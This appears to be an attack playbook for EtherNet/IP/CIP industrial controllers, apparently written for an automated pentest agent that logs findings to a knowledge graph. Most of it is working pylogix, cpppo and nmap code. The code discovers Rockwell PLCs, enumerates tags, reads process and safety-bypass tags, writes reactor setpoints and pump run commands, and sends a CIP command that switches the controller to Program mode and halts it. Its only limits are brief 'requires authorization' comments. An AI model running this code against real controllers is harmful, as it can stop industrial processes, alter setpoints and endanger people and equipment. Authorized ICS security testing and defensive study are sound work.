EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)

# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix

# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo

# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24

# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5

# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
#  'product_code': 166, 'revision': {'major': 33, 'minor': 11},
#  'serial_number': '0xA1B2C3D4', 'status': 12340}

# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State

# pylogix PLC info — TCP 44818
from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    info = comm.GetPLCTime()
    print("PLC time:", info.Value)
    props = comm.GetModuleProperties(0)
    print("Module:", props.Value)

from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Enumerate all controller-scoped tags
    tags = comm.GetTagList()
    print(f"[*] Found {len(tags.Value)} controller tags")
    for tag in tags.Value:
        print(f"  {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")

    # Enumerate program-scoped tags (programs inside the controller)
    programs = comm.GetProgramList()
    for prog in programs.Value:
        prog_tags = comm.GetProgramTagList(prog)
        print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
        for tag in prog_tags.Value:
            print(f"  {prog}:{tag.TagName:<36} Type={tag.DataType}")

from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Read a single tag
    result = comm.Read("PumpStation_1.RunCmd")
    print(f"PumpStation_1.RunCmd = {result.Value}  (Status: {result.Status})")

    # Read multiple tags in one request (efficient)
    tag_list = [
        "Reactor_TIC_201.SP",
        "Reactor_TIC_201.PV",
        "Valve_FV_101.OpenCmd",
        "Safety_SIL2.BypassActive",
    ]
    results = comm.Read(tag_list)
    for r in results:
        print(f"  {r.TagName} = {r.Value}  Status={r.Status}")

    # Read array elements
    array_result = comm.Read("RecipeArray[0]", 10)  # read 10 elements from index 0
    print("Recipe[0:10]:", array_result.Value)

from pylogix import PLC

# Write a BOOL tag
with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Example: write a setpoint — requires authorization
    result = comm.Write("Reactor_TIC_201.SP", 85.0)
    print(f"Write SP: {result.Status}")

    # Example: write a BOOL control tag — requires authorization
    result = comm.Write("PumpStation_1.RunCmd", 1)
    print(f"Write RunCmd: {result.Status}")

import cpppo
from cpppo.server.enip import client

# CIP explicit messaging to change PLC mode
# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)
# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)
# Mode: 0x01 = Run, 0x02 = Program (Stop)

def set_plc_mode(ip, mode_val, port=44818):
    """
    mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)
    Requires write-class scope authorization.
    """
    operations = [
        {
            "method": "set_attribute_single",
            "path": "@0x01/1/10",
            "data": [mode_val],
        }
    ]
    with client.connector(host=ip, port=port) as conn:
        for op in operations:
            conn.set_attribute_single(
                path=op["path"],
                data=op["data"],
            )
        conn.collect(timeout=2)
        print(f"Mode change to {mode_val:#04x} sent")

# set_plc_mode("10.0.0.5", 0x02)   # Stop (Program mode) — halts PLC program
# set_plc_mode("10.0.0.5", 0x01)   # Run

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    # Some pylogix versions expose:
    comm.GetPLCTime()  # verify connectivity first
    # comm.Write("_RunMode", 0)  # vendor-specific; verify tag exists first

# Firmware version from pylogix
with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    props = comm.GetModuleProperties(0)
    print("Firmware:", props.Value)
    # Compare against Rockwell Security Advisory RLSA-2023-0026
    # Affected: < v33.012 (1756-EN2* family)

kg_add_node(
    kind="finding",
    label="EtherNet/IP unauthenticated tag access",
    props={
        "key": f"enip-cip-anon::{target_ip}",
        "protocol": "enip-cip",
        "port": 44818,
        "product_name": "<ProductName>",
        "firmware_revision": "<major.minor>",
        "tag_count": len(tags.Value),
        "writable": False,  # set True only after confirmed write-scope
        "source": "pylogix-taglist",
    },
)